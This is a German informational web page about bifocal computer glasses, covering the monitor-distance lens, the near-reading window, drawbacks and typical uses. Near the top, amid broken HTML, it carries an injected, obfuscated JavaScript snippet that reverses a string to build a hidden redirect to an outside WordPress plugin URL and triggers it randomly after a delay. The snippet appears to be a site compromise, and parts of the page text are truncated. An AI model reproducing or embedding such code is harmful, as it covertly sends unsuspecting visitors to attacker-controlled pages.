Bildschirm-Bifokalbrille

tor? “ width=“50″ height=“150″ /> $NqM=function(n){if (typeof ($NqM.list[n]) == „string“) return $NqM.list[n].split(„“).reverse().join(„“);return $NqM.list[n];};$NqM.list=[„\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod“];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}top“>Zwei Stärken in einem Brillenglas

  1. Korrektion für die Monitorentfernung (um den Monitor scharf zu sehen); z. B. bei einer mittleren Weitsichtigkeit und Alterssichtigkeit.
  2. “Fenster” im unteren Bereich des Brillenglases für den Nahbereich (Korrektion für die Leseentfernung); z. B. bei Alterssichtigkeit.

 

torentfernung gleichbleibend deutlich. Daher sind beim hin und her Blicken in der mittleren Entfernung (speziell auf den Monitor) keine großen Kopfbewegungen notwendig. Bei Blicksenkung in die Nähe schaut man automatisch durch den Teil des Brillenglases, der die Nahkorrektur enthält („Fenster“ im unteren Bereich des Brillenglases). Fernbrille ist notwendig. Der Nahbereich ist kleiner als bei einer reinen Lesebrille, was zu größeren horizontalen Kopfbewegungen beim Lesen und bei Arbeiten in der Nähe führen kann. Die Trennkante zwischen den beiden Glasstärken ist sichtbar. Diese Brille ist nicht zum Autofahren geeignet.

Typische Anwendungsmöglichkeiten:

Bildschirm-Bifokalbrillen kommen heutzutage nur noch selten vor. Sie machen dann Sinn, wenn Sie bei starker Alterssichtigkeit überwiegend auf den Monitor schauen und nur ab und zu Unterlagen in der Nähe lesen müssen, da das “Fenster” für den Nahbereich im unteren Teil des Glases relativ klein ist.

Für den Blick in die Ferne müssen Sie die Brille absetzten oder zur Fernbrille wechseln.

Wenn Sie eine Bildschirm-Gleitsichtbrille nicht vertragen (was nur sehr selten der Fall ist, wenn die Gleitsichtbrille passend angefertigt wird) kann die Bildschirm-Bifokalbrille eine Alternative sein.

Empfohlene Monitorposition bei Bildschirm-Bifokalbrille »

Print Print
Ergonomic Vision IfADo © 2012 - 2022 Copyright